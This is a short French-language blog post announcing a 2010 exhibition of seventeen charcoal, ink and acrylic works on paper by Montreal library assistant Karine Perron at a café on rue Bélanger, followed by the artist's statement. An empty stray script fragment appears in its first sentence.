À tons sens

Karine Perron, document.write(“”); une collègue aide-bibliothécaire de l’arrondissement Ahuntsic-Cartierville, expose présentement ses oeuvres au troquet “Le cep & le houblon” [lien Facebook], situé au 2280 rue Bélanger.

Cette exposition, qui consiste en dix-sept pièces mélangeant le fusain, l’encre et l’acrylique sur papier, nous offre un intéressant voyage dans l’univers imaginaire de l’artiste.

“À tons sens…

Il est des sens comme des vents. Ma production se veut la recherche d’un questionnement visuel. Je travaille beaucoup au niveau des textures, des tons et de la fragilité des impressions, de ce qui m’apparaît. Un temps de réflexion est nécessaire afin de choisir le sens de l’œuvre. Je retouche enfin le tout afin de maintenir le regard en suspend.

L’exposition de 2010 est un survol des 5 dernières années de production à Montréal.